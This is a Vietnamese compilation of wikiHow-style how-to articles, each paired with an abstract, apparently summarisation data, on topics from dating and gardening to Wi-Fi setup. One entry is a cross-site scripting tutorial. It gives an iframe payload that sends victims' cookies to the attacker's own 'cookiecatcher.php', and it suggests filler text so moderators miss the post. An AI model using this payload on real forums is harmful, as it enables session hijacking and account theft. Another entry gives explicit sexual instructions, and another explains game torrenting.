Lần đầu tiên tương tác ở mức độ cá nhân nên được thực hiện trong hoàn cảnh thông thường, không có quá nhiều người xung quanh để tránh phân tâm. Ví dụ, khu vực giữa sàn nhảy không phải là nơi thích hợp để nói chuyện lâu. Tiến đến người đó trong giờ ăn trưa ở nhà ăn tập thể. Xin phép họ cho ngồi cạnh và bắt đầu gợi chuyện để nói. Tất cả chỉ đơn giản như vậy. Nói chuyện với người bạn thích tại bữa tiệc. Bất kể là tiệc sinh nhật hay tiệc bên hồ bơi, nếu hai bạn được mời thì bạn nên xin phép trò chuyện với họ. Tương tác với họ thông qua một trong những người bạn chung. Nếu hai người có một người bạn chung thì hãy gặp người đó nói chuyện, chờ anh ta tạo cơ hội cho bạn mở đầu. Nếu trước đó bạn đã giới thiệu mình một cách chính thức thì tất cả những gì cần làm là nói "chào anh". Nhớ nhìn vào mắt họ khi bạn nói xin chào. Bạn thường vô tình nói quá nhiều nếu nhìn xuống giày người đối diện trong khi chào. Đặt những câu hỏi cần phải suy nghĩ và có liên quan đến tình hình hiện tại của bạn - các câu "vì sao" và "như thế nào" thường phù hợp nếu bạn muốn nói chuyện một lúc. Cách hỏi đó thường dẫn đến cuộc trao đổi sâu hơn mà cả hai bạn có thể tham gia, rất lý tưởng khi muốn nói chuyện với người bạn thích. Tránh sử dụng những câu hỏi đơn giản mà chỉ cần trả lời "có" hay "không". Nếu bạn hỏi họ "Hôm qua bạn có đến lớp không?", thì họ không cần phải trả lời dài dòng. Nếu bạn hỏi "Hôm qua bạn thấy giáo viên giảng bài thế nào?", họ sẽ có nhiều điều để nói. Hỏi thăm về gia đình, họ hàng họ. Họ xuất thân từ đâu, bố mẹ họ làm gì, làm sao mà họ biết ...vân vân và vân vân. Nói chung, người ta đều thích nói về bản thân, trong đó có cả người bạn thương. Nghĩa là bạn đặt vài câu hỏi trong khi anh ấy/cô ấy đang kể chuyện. Điều này cho thấy bạn quan tâm đến những gì họ nói. Nếu bạn có một câu chuyện để kể thì phải chờ họ nói xong, nói ngắn gọn và ngọt ngào để người bạn thương không cho rằng bạn chỉ muốn nói về bản thân. Ngôn ngữ cơ thể chuyển tải nhiều thông điệp, dù bạn có muốn hay không. Đôi khi cơ thể bạn nói những điều bạn không muốn tiết lộ. Nhưng thường thì nếu bạn biết cơ thể mình đang nói gì, bạn có thể khắc phục vấn đề khi nó đang phản bội bạn. Đây là những gì bạn cần chú ý: Giao tiếp bằng mắt. Thực hiện và duy trì giao tiếp bằng mắt cho thấy bạn hứng thú với những gì đối phương nói. Hướng cơ thể về phía họ. Điều đó có nghĩa bạn quan tâm đến những gì họ nói và không e ngại. Mỉm cười. Nụ cười của bạn cho thấy người đó đang làm bạn vui. Tán tỉnh bằng ngôn ngữ cơ thể. Đặc biệt khi bạn là con gái. Nhẹ nhàng nháy mắt, vân vê mái tóc bạn hay chạm vào vai họ. Cười khi họ nói đùa. Cho dù chuyện đùa của họ không vui, bạn cũng nên cười và cố gắng làm vừa lòng họ. Bất kể làm gì, bạn không nên nói những câu đó. Chúng nghe rất tệ và cũng không hiệu quả. Nếu bạn là con trai và không thể nghĩ ra điều gì để nói ngoài những câu cua gái quen thuộc, hãy đọc bài viết về cách để mở đầu buổi nói chuyện với con gái. Nói thật đấy! Nếu bạn là một người bình thường, việc được ở gần người mình thích sẽ khiến bạn phát điên. Khi cảm thấy như vậy thì bạn có khả năng làm những việc ngu ngốc. Hãy giũ bỏ sự nghiêm túc đó. Nếu bạn có ấp úng thì hãy nói những câu đại loại như "Trời. Anh không thể nói được. Chắc do được ở gần con gái đẹp nên anh bị vậy." Nếu bạn vấp ngã và anh ấy tiến đến đỡ bạn lên, hỏi bạn "Có sao không?", hãy nói kiểu như "Có chứ, chắc em vừa mới đáp lên mặt đất". Nếu bạn cảm thấy buổi nói chuyện diễn ra tốt đẹp thì không nên ngần ngại hỏi họ khi nào rảnh. Có thể chỉ là vài phút ăn trưa vào ngày mai hoặc một buổi hẹn hò thật sự với phim ảnh và bữa tối - đề nghị thế nào là tùy thuộc vào sự tự tin của bạn và hành động của người đó trong buổi nói chuyện. Sau khi suy nghĩ kỹ và bạn có thể nhận ra họ cũng thích bạn, đừng lo lắng về chuyện hỏi họ khi nào có thể gặp lại. Không nhất thiết bạn phải được tiếp đón nồng nhiệt khi lần đầu tiên bắt chuyện. Nếu người bạn thương dường như không nhiệt tình lắm hay tỏ ra chán, bạn hãy hỏi xem có gì không ổn không; có lẽ đó là một ngày tồi tệ của họ, hoặc họ đang bận nghĩ điều gì. Nếu dường như không có điều gì khiến họ phân tâm, và sự khó chịu của họ với bạn vẫn tiếp tục gia tăng, hãy xin lỗi một cách lịch sự và chuồn nhanh, cân nhắc thử vào một ngày khác. Có khả năng người bạn thích không có cùng cảm xúc với bạn. Nếu xác định được điều đó, hai bạn vẫn có thể nói chuyện, nhưng bạn phải chấp nhận rằng không thể có mối quan hệ lãng mạn giữa hai bạn. Không có gì tồi tệ hơn là cảm giác tình yêu của mình không được đáp lại, vì vậy nếu họ chỉ xem bạn là bạn bè thường thì hãy chấp nhận và tiếp túc tiến bước.

Abstract: Tiếp cận người bạn thích khi không có người khác ở đó. Giới thiệu bản thân. Hỏi thăm về bản thân họ. Nhớ thỉnh thoảng tương tác nếu họ kể một câu chuyện quá dài. Chú ý ngôn ngữ cơ thể. Đừng nói những câu tán tỉnh lộ liễu! Không nên nói năng quá nghiêm túc. Xin một cái hẹn. Nhận thức về tình hình. Đối phó với lời từ chối một cách bình tĩnh.


Một số loại cây có thể xua đuổi chuột chũi khỏi bãi cỏ. Bạn có thể trồng các loại cây như thủy tiên hoa vàng, cúc vạn thọ, kiệu, và bối mẫu. Cây thầu dầu cũng có tác dụng đuổi chuột chũi nhưng có độc tính. Đây có thể là một giải pháp hiệu quả mà không tốn nhiều công sức. Chim cú là động vật săn mồi tự nhiên đối với chuột chũi. Bạn có thể thu hút chúng đến sân nhà mình bằng cách mua hộp làm tổ hoặc xây tổ cho chúng. Các hộp tổ chim trông giống như ngôi nhà lớn của chim gắn lên cây. Khi đã lắp ráp xong tổ chim, bạn hãy đặt lên cây và lót rơm vào trong. Không sớm thì muộn, chim cú sẽ bị thu hút đến tổ.

Abstract: Trồng cây làm hàng rào. Thu hút các loài động vật săn chuột chũi.


Lưu ý rằng phương pháp này không hiệu quả với những trang an toàn. Bạn sẽ phải nhập một số code (mã lập trình) đặc biệt vào phần "post" (Đăng) để thu thập toàn bộ dữ liệu của những người nhấp chuột vào nó. Bạn nên kiểm tra xem liệu code này có bị lọc bởi hệ thống hay không. Hãy đăng <script>window.alert("test")</script>Nếu hộp cảnh báo xuất hiện khi bạn nhấp chuột vào bài đăng thì nghĩa là website đó không an toàn. Mục đích của cuộc tấn công này là chiếm được cookie của người sử dụng, từ đó truy cập vào tài khoản trên các website có quy trình đăng nhập không an toàn. Lúc này, bạn cần chương trình đánh chặn cookie nhằm chiếm và chuyển hướng cookie của đối tượng mục tiêu. Hãy tải chương trình này lên website hỗ trợ php mà bạn có thể truy cập vào và tham khảo thêm về code của các chương trình đánh chặn. Nhập mã phù hợp vào bài đăng được dùng để chiếm cookie và gửi chúng về trang của bạn. Bạn nên nhập một số văn bản sau đoạn code để bài đăng bớt đáng ngờ và không bị xóa. Chẳng hạn như bạn có thể dùng <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> Lúc này, bạn có thể sử dụng tùy ý thông tin cookie được lưu vào website của bạn.

Abstract: Tìm một trang dễ tấn công cho phép bạn đăng tải nội dung, chẳng hạn như một diễn đàn nào đó. Vào và đăng tải nội dung. Tạo và tải chương trình đánh chặn cookie của bạn. Đăng chương trình đánh chặn cookie của bạn. Sử dụng cookie thu thập được.


Chương trình này cho phép bạn tải các tập tin torrent, vốn là một hình thức chia sẻ tập tin ngang hàng. Tập tin torrent thường có dung lượng rất nhỏ, nhưng lại được liên kết đến những tập tin lớn hơn trên ổ cứng mà bạn muốn chia sẻ với người khác. Có thể kể đến một số phần mềm torrent phổ biến như: uTorrent BitTorrent Vuze Hiện có nhiều trang web torrent trực tuyến mà bạn có thể tìm kiếm nhưng chúng tôi không thể liệt kê ở đây. Đảm bảo rằng trang torrent đó nhận được bình luận tích cực, vì điều này giúp tăng cơ may tải thành công phiên bản chơi được mà không bị virus. Cố gắng tìm kiếm torrent có nhiều "seeder". Đây là những người đang chia sẻ tập tin, và càng kết nối với nhiều người thì tốc độ tải về càng nhanh chóng hơn (lên đến tốc độ kết nối cao nhất của bạn). Tập tin torrent có dung lượng rất nhỏ, thường thì sẽ được tải về chỉ trong vài giây. Lý do là vì tập tin torrent không chứa bất cứ dữ liệu game nào. Thay vào đó, nó cho phép bạn kết nối trực tiếp với những người dùng khác để tải nhiều phần của game rồi ghép lại với nhau sau khi tải xong. Hầu hết phần mềm torrent đều được thiết lập để tự động mở tập tin .torrent. Nếu tập tin này không được mở trong phần mềm torrent, bạn cần lựa chọn phần mềm mới cài đặt trong danh sách phần mềm. Việc tải torrent chỉ có thể được coi là hợp pháp nếu bạn đã sở hữu game đó. Nhấp vào đây để biết cách tải tập tin torrent cụ thể. Bạn có thể sẽ phải chờ một lúc khá lâu, nhất là khi game có dung lượng rất lớn hoặc không có nhiều seeder. Nhấp vào đây để biết cách tăng tốc torrent.

Abstract: Tải về và cài đặt BitTorrent. Tìm kiếm tập tin torrent của game mà bạn muốn tải về. Tải và mở tập tin torrent bằng phần mềm. Chờ quá trình tải về hoàn tất.


Bạn cần nhớ quét ba lớp theo thứ tự như sau:   Không chà nhám sau khi quét! Ngoài ra, chỉ sơn lớp khác lên trên khi lớp dưới đã khô. Chọn đúng loại sơn và quét thêm một lớp bảo vệ bên ngoài nếu thích.

Abstract: Nếu muốn đánh véc-ni, bạn chỉ cần đơn giản quét một lớp véc-ni đánh bóng gỗ hoặc dầu bóng lên đồ gỗ. Không quét quá nhiều. Quét một lớp dầu bóng. Chà nhám bề mặt đồ gỗ. Quét một lớp dầu bóng khác. Chà nhám bề mặt gỗ bằng loại giấy nhám hạt thật mịn. Quét lớp dầu bóng cuối cùng. Nếu thích sơn bề mặt đồ gỗ, bạn hãy sơn theo một chiều.


Trình đơn Quick Settings (Cài đặt nhanh) sẽ hiện ra. Tùy chọn này thường nằm phía trên bên trái trình đơn. Thiết lập Wi-Fi của Android sẽ mở ra. Tính năng Wi-Fi sẽ được bật. Nếu công tắc trên đã nằm ở vị trí "ON" thì bạn có thể bỏ qua bước này. Hãy tìm tên của mạng Wi-Fi mà bạn muốn kết nối. Nếu sử dụng mạng nhà và không cài mật khẩu thì bạn cần tìm mật khẩu Wi-Fi ở cạnh dưới hoặc phía sau bộ định tuyến. Nếu mạng không có mật khẩu, thiết bị sẽ được kết nối tự động ngay sau khi bạn nhấn vào tên mạng. Miễn là bạn nhập đúng mật khẩu của mạng thì thiết bị Android sẽ bắt đầu kết nối.

Abstract:
Vuốt xuống từ đầu màn hình. Nhấn giữ lâu trên biểu tượng {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/1\/12\/Android7wifi.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/1\/12\/Android7wifi.png","smallWidth":460,"smallHeight":460,"bigWidth":760,"bigHeight":760,"licensing":"
<\/div>"}. Vuốt công tắc Wi-Fi sang vị trí "ON" (Bật) {"smallUrl":"https:\/\/www.wikihow.com\/images_en\/d\/df\/Android7systemswitchon2.png","bigUrl":"https:\/\/www.wikihow.com\/images_en\/d\/df\/Android7systemswitchon2.png","smallWidth":460,"smallHeight":345,"bigWidth":760,"bigHeight":570,"licensing":"
<\/div>"}. Nhấn vào tên mạng. Nhập mật khẩu của mạng nếu được nhắc. Nhấn vào Connect (Kết nối) ở góc dưới bên phải màn hình.


Khi yêu, mức hoóc môn trong cơ thể sẽ biến đổi khiến cho mọi cảm xúc của bạn trở nên khác thường. Bạn sẽ cảm thấy điên cuồng với hạnh phúc, lo lắng, căng thẳng hoặc suốt ngày nghĩ đến người ấy. Tuy nhiên, hãy nhớ rằng cảm giác bạn có là điều bình thường và theo thời gian bạn vượt qua được. Nên nhớ đừng để cảm xúc chiếm lấy toàn bộ cuộc sống của bạn. Hãy tiếp tục dành thời gian cho bản thân và duy trì thói quen thường lệ. Để đối mặt với vô vàn cảm xúc mới xuất hiện khi yêu, cách tốt nhất giúp bạn cảm thấy thoải mái là chia sẻ cảm xúc của mình. Bạn có thể chọn tâm sự với một người bạn đáng tin cậy về người yêu hoặc viết cảm xúc vào nhật ký. Viết nhật ký sẽ giúp bạn giảm căng thẳng, xử lý vấn đề tốt hơn và vượt qua các cung bậc cảm xúc. Viết về cảm xúc của bạn trong nhật ký là cách tốt nhất để đối mặt với nó. Hãy viết về cảm nhận của bạn trong khoảng 15-20 phút mỗi ngày. Bạn sẽ cảm thấy bản thân trở nên sáng tạo hơn vì tình yêu mới và có thể sáng tác thơ văn. Kể cả khi bạn cảm thấy muốn dành nhiều thời gian để nghĩ về người ấy, hãy đảm bảo rằng bạn vẫn tiếp tục quan tâm đến nhu cầu cá nhân như chế độ ăn uống, tập luyện và ngủ. Để giữ sức khỏe thể chất và tinh thần tốt nhất, hãy gặp chuyên gia dinh dưỡng, đi tập gym hoặc tham gia lớp yoga. Ăn uống lành mạnh. Tìm cách cải thiện thói quen ăn uống như giảm chất béo, đường và ăn nhiều rau củ quả. Tập luyện 30 phút mỗi ngày. Bạn nên dành ít nhất 30 phút để rèn luyện thể chất mỗi ngày. Dành thời gian để nghỉ ngơi và thư giãn hằng ngày. Cố gắng ngủ khoảng 8 tiếng và cho bản thân nhiều thời gian để nghỉ ngơi. Tập thiền, yoga hoặc hít thở sâu. Dành thời gian để chiều chuộng và chăm sóc bản thân sẽ giúp bạn đối mặt với cảm giác khi yêu và giúp bạn trở nên đẹp hơn trong mắt người ấy. Nên nhớ duy trì chế độ chăm sóc tốt nhất cho bản thân, giữ cho tóc đẹp và gọn gàng, mua sắm quần áo mới. Dành thời gian chăm sóc bản thân. Tắm mỗi ngày. Dùng xịt khử mùi cơ thể, trang điểm, dùng sản phẩm chăm sóc tóc cùng một số sản phẩm khác để giúp bạn cải thiện vẻ ngoài và cảm thấy thoải mái nhất. Đến salon hoặc tiệm cắt tóc. Chăm sóc tóc hoặc cắt một kiểu tóc khác để làm mới diện mạo. Bên cạnh đó, bạn cũng có thể làm móng tay, tẩy lông hoặc mát xa. Mua quần áo mới. Nếu đã lâu rồi mà bạn chưa mua quần áo mới, hãy tính đến việc làm mới tủ đồ. Hãy chọn quần áo vừa vặn và giúp bạn cảm thấy gợi cảm. Việc dành thời gian cho bản thân trong bất kỳ mối quan hệ nào đều vô cùng quan trọng, đặc biệt là khi mới bắt đầu. Bạn sẽ cảm thấy khó khăn khi tâm trí lúc này dành hoàn toàn cho tình yêu mới. Để vượt qua cảm giác đó, bạn nên làm việc bạn thích để phân tán suy nghĩ. Duy trì lối sống xã hội năng động cũng sẽ khiến bạn trở nên thú vị trong mắt người ấy và làm cho người ấy muốn theo đuổi bạn nhiều hơn. Tìm sở thích mới. Đi ra ngoài và làm việc gì đó thú vị với bạn bè. Nấu một bữa tối sang trọng và xem bộ phim mà bạn thích. Khi yêu ai đó, bạn có thể sẽ lo lắng và hoài nghi bản thân nên bạn cần phải trở nên mạnh mẽ hơn theo thời gian. Những lời độc thoại tích cực sẽ giúp bạn vượt qua những suy nghĩ tiêu cực và cảm giác mà bạn đang có. Ví dụ, nếu bạn cảm thấy lo lắng về suy nghĩ của người ấy dành cho bạn, hãy tự nhủ "Nếu người ấy có cảm tình với mình, họ sẽ cho bạn biết cảm giác của họ. Nếu không, vẫn còn rất nhiều người khác muốn yêu mình." Khi gặp phải khó khăn trong việc xử lý cuộc sống hằng ngày, bạn sẽ cần đến sự giúp đỡ của chuyên gia. Bạn nên gặp chuyên gia sức khỏe tâm lý nếu cảm thấy xuất hiện nhiều suy nghĩ tiêu cực về người ấy.

Abstract: Hiểu cảm xúc của bạn khi yêu là điều bình thường. Biểu lộ cảm xúc. Duy trì sức khỏe thể chất. Chiều chuộng bản thân. Tìm cách làm bản thân phân tâm. Tự nhủ bằng những lời lẽ tích cực để đối phó với sự lo lắng hoặc tâm trạng tiêu cực. Hãy gặp chuyên gia trị liệu nếu nỗi ám ảnh của bạn dần trở nên thiếu lành mạnh.


Sẽ có những khoảng thời gian bạn không thể liên lạc hay gặp chị em họ của mình thường xuyên, điều này là hoàn toàn bình thường. Tuy nhiên, chỉ cần gửi những tin nhắn đơn giản như "Này, dạo này mọi chuyện vẫn tốt cả chứ?" cũng đủ để thể hiện là bạn vẫn quan tâm cô ấy rất nhiều. Giữ liên lạc với chị em họ của bạn trên một số trang web như Facebook và Twitter. Gọi điện hoặc nhắn tin. Bạn có thể gửi tin nhắn trên điện thoại hoặc dùng một số ứng dụng miễn phí như Viber và What'sApp. Gọi video bằng các ứng dụng như Skype hay FaceTime cũng giúp cho việc liên lạc thuận tiện và riêng tư hơn. Ngoài việc giữ liên lạc thì bạn nên thể hiện là mình quan tâm đến cô ấy. Có rất nhiều cách để thể hiện sự quan tâm, chẳng hạn như nhớ chúc mừng ngày sinh nhật hoặc giúp cô ấy giải quyết một số vấn đề trong cuộc sống. Việc nhớ một số dịp quan trọng với chị em họ của mình sẽ giúp duy trì tình cảm giữa hai bạn. Bạn hãy ghi lại ngày sinh nhật, kỷ niệm và những sự kiện quan trọng sắp tới để gửi cho cô ấy những lời chúc tốt đẹp. Khi cô ấy gặp rắc rối trong cuộc sống, bạn hãy sẵn lòng giúp đỡ, đó cũng là một cách thể hiện sự quan tâm. Những sự giúp đỡ có thể đơn giản như giúp cô ấy trông cháu khi người giữ trẻ nghỉ việc, giúp cô ấy làm bài tập hoặc mua một món đồ thời trang đặc biệt nào đấy. Tất cả các mối quan hệ đều có lúc này lúc khác, tuy nhiên nếu luôn đối xử với chị em của mình một cách tôn trọng và tích cực thì bạn sẽ duy trì được một mối quan hệ lâu bền. Thỉnh thoảng bạn sẽ có những cảm xúc hoặc giây phút tiêu cực khi nói chuyện. Hãy cố gắng xử lý những tình huống đó một cách bình tĩnh, hết sức tôn trọng và bỏ qua những sự tiêu cực đó. Tránh những chuyện gia đình cũng sẽ giúp giữ cho mối quan hệ giữa hai bạn luôn tích cực và tôn trọng lẫn nhau.

Abstract: Giữ liên lạc. Tiếp tục thể hiện sự quan tâm. Giữ mối quan hệ tôn trọng và tích cực.


Bạn có thể sử dụng những bí kíp này mỗi khi cởi quần áo, bất kể bạn đang mặc gì và dự định tiến xa đến đâu. Tuy nhiên, nếu bạn muốn thực hiện một màn thoát y đặc biệt cho bạn tình của mình, trước tiên hãy lựa chọn trang phục và địa điểm. Hãy mặc đồ lót ren hoặc xuyên thấu, tất (vớ) dạng dây đeo và một vài lớp quần áo gợi cảm và dễ cởi. Bạn nên cân nhắc việc đặt một chiếc ghế để bạn tình ngồi vào và một chiếc ghế cho bản thân dùng đến trong màn trình diễn. Bật nhạc có thể giúp bạn tìm được nhịp điệu, nhất là khi bạn cảm thấy ngượng ngùng hoặc lúng túng. Tận dụng tối đa cơ hội này bằng cách đứng trực tiếp trước mặt bạn tình với hai chân dang ra, trọng lượng hơi dồn về một chân. Duy trì giao tiếp bằng mắt khi bạn cởi khuy áo. Đừng vội cởi quần áo; phần "trêu đùa" của màn thoát y sẽ khiến bạn tình thêm phấn khích. Hãy bảo chàng ngồi trên ghế, sau đó hãy đi xung quanh ghế để phô diễn đằng trước, đằng sau và hai bên cơ thể bạn. Kéo căng dây đai váy hoặc áo ngực, hay các khuy áo như thể bạn sắp cởi chúng ra bất kỳ lúc nào. Hãy sáng tạo với những tư thế gợi cảm của riêng bạn, chẳng hạn như những động tác dưới đây: Nếu bạn đang mặc một chiếc áo sơ mi cổ rộng, hãy cúi người về phía chàng một cách chớp nhoáng. Ngoảnh mặt làm ngơ với chàng và cúi người xuống ghế hoặc giường. Chạm nhanh vào đũng quần của chàng, sau đó quay đi. Ngồi trên ghế và từ từ dang chân ra, đồng thời mỉm cười tình tứ với chàng. Sờ và vuốt ve quanh bầu ngực, háng hay bất kỳ bộ phận nào trên cơ thể bạn mà đối phương cảm thấy kích thích. Bạn có thể đứng hai chân khép sát vào nhau, chùng đầu gối trái (hoặc phải) lại để có một tư thế nữ tính, hoặc tạo tư thế mạnh mẽ hơn với hai chân dang rộng đầy gợi cảm sao cho trọng lượng cơ thể hơi dồn về một bên. Khoanh tay trước ngực và hóp bụng vào khi bạn đặt tay lên trên đầu. Nếu bạn có mái tóc dài, hãy lắc lư đầu và để những lọn tóc tuôn ra bồng bềnh. Áo sơ mi cài khuy là một trang phục hoàn hảo cho việc "thoát y", vì với mỗi chiếc khuy, bạn có thể tạo nên những màn trình diễn nhỏ riêng biệt. Hãy thử cởi vài khuy áo bên trên và bên dưới trước để làm cho bộ trang phục trở nên quyến rũ hơn. Từ từ gỡ từng khuy một, đồng thời tiếp tục đi xung quanh và tạo dáng. Khi đã cởi hết các khuy áo, hãy kéo áo xuống thấp qua vai, sau đó quay lưng về phía chàng và để áo rơi xuống sàn. Đầu tiên, hãy cởi bớt khuy ở cổ tay hoặc cởi hết chúng ra trước khi vào phòng. Bạn có thể tăng thêm chút hứng thú bằng cách chỉ sử dụng một tay và tay còn lại chống lên hông. Hãy luyện tập trước nếu bạn dự định thử qua cách này. Tiếp tục trêu đùa bạn tình với trang phục của mình, hoặc hỏi "anh đã sẵn sàng chưa?" một vài lần trước khi "hành động". Kéo dây đai đồ ngủ hoặc những mảnh quần áo lỏng lẻo qua vai và buông thõng nó xuống, hoặc tụt xuống sàn nhà. Một chiếc váy có khóa kéo sẽ phù hợp cho người mới bắt đầu, vì bạn có thể cởi bỏ một cách dễ dàng và đầy bất ngờ ở mọi tư thế thoát y. Một chiếc váy ngắn, ôm sát là lựa chọn lý tưởng khác và bạn có thể kéo lên để phô diễn phần mông của mình trước khi cởi bỏ hoàn toàn. Bạn sẽ cần luyện tập việc này trước, vì quần jean bó sát thường khiến bạn kém hấp dẫn trong trường hợp bị ngã nhoài với đôi chân mắc kẹt. Hãy thử quỳ xuống và kéo quần jean xuống đến đầu gối, đồng thời cong mông về phía đối phương. Sau đó ngồi thoải mái bằng mông để kéo quần jean ra khỏi phần còn lại của cơ thể. Có lẽ bạn sẽ cần trang bị tất da, đặc biệt là dây nịt tất gợi cảm. Trong khi đó, một đôi tất bằng nylon đơn giản có thể là món đạo cụ thú vị. Hãy đặt một chân lên ghế và từ từ cuộn tất xuống, sau đó nắm tất kéo ra xa theo kiểu bắn ná cao su, hoặc giả vờ buộc hai cổ tay lại với nhau. Đây là những cách thức lôi cuốn và hấp dẫn giúp bạn tạo thêm sự hài hước đầy táo bạo. Nếu bạn có thể đi lại và tạo dáng uyển chuyển trên đôi giày cao gót, hãy tiếp tục mang chúng tương tự như đối với tất da. Hãy thử mang một đôi tất có kích thước lớn được giữ bằng dây nịt tất. Điều này cho phép bạn thoải mái di chuyển hơn trong màn thoát y của mình. Kéo mạnh dây áo ngực trong suốt màn thoát y nhằm khiến cho đối phương thêm phấn khích. Khi đã đủ sẵn sàng để cởi bỏ, hãy quay lưng lại với bạn tình và tiến hành cởi áo. Để áo ngực rơi xuống sàn, sau đó quay lại phơi bày "núi đôi" của bạn. Nếu có thời gian chuẩn bị trước, bạn hãy chọn một chiếc quần thật gợi cảm, quần lót ren hoặc quần lọt khe, tuy nhiên đừng chọn loại quần quá chật vì có thể lưu lại vết hằn. Bạn có thể đứng thẳng bằng hai chân, sau đó kéo quần tụt xuống, hoặc nằm ngửa và kéo quần lót về phía bàn chân để trượt chúng qua chân. Nếu bạn đang đeo dây nịt tất gợi cảm, hãy mặc quần lót bên ngoài chiếc nịt tất để có thể giữ chúng lại.

Abstract: Chuẩn bị trước (không bắt buộc). Cởi áo khoác lớn hoặc áo măng-tô. Vừa đi vòng quanh vừa trêu đùa tinh nghịch trong một vài phút. Cởi bỏ áo len hoặc áo phông một cách quyến rũ. Trêu đùa với áo sơ mi cài khuy. Cởi bỏ đồ ngủ. Cởi váy. Tìm hiểu cách cởi quần jean thật gợi cảm. Chơi đùa với đôi tất da. Cởi áo ngực. Cởi quần lót.


Lan hoàng thảo có khả năng trữ nước và chịu khô hạn tốt hơn là chịu úng nước. Bạn nên tưới cho cây cách mỗi 1-2 tuần một lần. Để cho lớp đất 2,5 cm trên bề mặt khô hẳn trước khi tưới lại. Một số giống lan hoàng thảo có các củ bẹ trữ nước, nghĩa là chúng có thể không cần tưới trong 2 tuần. Tốt hơn là bạn nên tưới lan vào buổi sáng để lá cây kịp khô trước khi đêm xuống. Mua phân bón cân đối chuyên dành cho hoa lan để bón cho cây. Pha loãng phân bón với nước theo tỷ lệ 4:1 để bón thường xuyên cho cây mỗi tuần một lần theo hướng dẫn. Ngoài ra, bạn có thể dùng phân bón không pha loãng bón cho cây mỗi tháng một lần. Độ ẩm 50 – 70% là lý tưởng cho lan hoàng thảo. Bạn có thể tăng độ ẩm bằng cách đặt máy tạo ẩm ở gần cây. Một cách khác để tăng độ ẩm là đặt một chiếc khay nước nông gần cây để tăng độ ẩm xung quanh. Không đặt cây vào khay nước, vì nước có thể dần dần làm mục rữa rễ cây. Sau khi hoa trên cây đã tàn, bạn hãy dùng kéo sắc cắt đi cuống hoa. Cắt hơi chéo góc ngay phía trên vị trí cuống hoa mọc ra. Điều này sẽ giúp chồi mới mọc lên trong thời kỳ sinh trưởng tiếp theo của cây. Nếu bạn không cắt tỉa cây lan sau khi hoa tàn, có thể cây sẽ không tiếp tục ra hoa nữa.

Abstract: Tưới cây mỗi tuần và để cho lớp đất bề mặt khô hẳn giữa các lần tưới. Bón phân pha loãng chuyên dành cho lan mỗi tuần một lần. Duy trì môi trường có độ ẩm tối thiểu 50% cho cây lan. Cắt bỏ hoa để kích thích cây lan mọc lại.


Bạn có thể tạo ra một chiếc ổ tuyệt hảo với kim và chỉ trong vòng chưa đầy 30 phút. Nếu mèo của bạn thích tắm nắng và ngắm nhìn mọi thứ xung quanh, đây chính là chiếc ổ hoàn hảo – an toàn, ấm áp và đơn giản. Chọn một chiếc áo len cũ hoặc áo lông cừu mà mèo thích. Hãy đảm bảo là nó có tay dài, bởi vì đây chính là chi tiết sẽ tạo nên hình dạng giống chiếc rổ cho ổ. Bạn chỉ cần len và một chiếc kim chuyên để khâu len. Bạn có thể chọn màu len đối lập (ví dụ như dùng len đỏ để khâu áo đen), hoặc dùng màu len tương đồng để không bị lộ đường may. Dừng tay khi bạn đã khâu được khoảng một nửa cánh tay tính từ phần nách áo. Lặp lại bước này đối với tay bên kia. Đặt tay áo về phía trước và cuộn thân áo từ dưới lên. Đảm bảo rằng cổ tay áo hơi chồng lên nhau một chút. Vậy là bạn đã tạo ra được đường viền để nhồi bông. Khâu từng ống tay áo vào mép trên của phần áo vừa được cuộn lên. Tại vị trí mà cổ tay áo chồng lên nhau ở phía trước, lồng một ống tay áo vào bên trong ống kia. Khâu chúng vào nhau vòng theo đường tròn của mép cổ tay. Bạn đã tạo ra một chiếc ống để nhồi bông. Đường khâu có thể chìm hoặc nổi bật hẳn lên tuỳ vào lựa chọn thiết kế của bạn. Khâu một đường hơi cong tạo thành hình bán nguyệt. Đảm bảo là bạn khâu liền cả hai lớp áo len. Đường khâu càng cong thì ổ mèo càng tròn. Vậy là bạn đã làm được một đường viền ổ vừa chắc chắn lại vừa êm ái để mèo cảm thấy an toàn và ấm áp, nó cũng giúp giữ cho ổ được đứng dáng dù mèo nhảy ra nhảy vào liên tục. Dùng thảm cũ, bông hoặc vải vụn cắt từ quần áo cũ để nhồi viền cho đẹp và đầy đặn. Độn một chút bông ở đáy ổ và khâu kín miệng cổ áo lại.

Abstract: Chọn một chiếc áo len cũ. Khâu viền của cánh tay áo vào bên cạnh áo. Gập phần dưới của áo lại. Khâu một đường từ "nách" bên này sang bên kia. Nhồi bông vào viền ổ cho tới khi bạn có một đường tròn trông như cái xúc xích.


Tùy thuộc vào tình huống mà lý do có thể rất rõ ràng. Ví dụ, nếu vừa cãi nhau với vợ, bạn sẽ biết chắc chắn vì sao cô ấy làm mặt lạnh với mình. Tuy nhiên, nếu bạn không nhận thấy bất kỳ vấn đề nào giữa bạn và người kia, hãy thử nghĩ xem liệu có phải bạn đã làm điều gì đó khiến họ bực tức. Chẳng hạn như bạn đã nói về chuyện riêng tư của một người bạn khi không có mặt họ. Những gì bạn nói có thể đã được truyền đến tai họ. Nếu bạn bỏ ai đó ra khỏi kế hoạch của mình hoặc không trả lời cuộc gọi hay tin nhắn của họ, có thể họ đã bị tổn thương bởi hành động của bạn. Bất kể lý do phớt lờ là gì, bạn không nên đeo bám họ vì đây là việc tồi tệ nhất. Đừng gửi cả trăm tin nhắn hay gọi điện thoại liên tục, hoặc cứ hỏi tại so họ phớt lờ bạn. Hãy cho họ thời gian để nhìn nhận cảm xúc hoặc suy nghĩ xem họ còn muốn liên lạc với bạn hay không và liên lạc bằng cách nào. Chỉ cần một tin nhắn hoặc một cuộc gọi là đủ, đừng gửi nhiều tin nhắn như "Tại sao cậu phớt lờ tớ?", "Tớ đã làm gì sai à?" hoặc "Nói chuyện với tớ đi mà!". Những tin nhắn này không chỉ khiến họ cảm thấy phiền phức mà còn khiến bạn trông như tuyệt vọng. Bạn sẽ cảm thấy khó để không cố gắng giải quyết vấn đề ngay lập tức. Tuy nhiên, bạn không thể kiếm soát người khác, nên cách tốt nhất là cho họ không gian riêng. Việc cố gắng tìm hiểu tại sao ai đó phớt lờ bạn hoặc ám ảnh với sự thật rằng họ đang phớt lờ bạn sẽ lấy đi của bạn rất nhiều thời gian và năng lượng. Tuy nhiên, việc này không hiệu quả và sẽ khiến bạn buồn bã hơn. Hãy tiếp tục với cuộc sống và 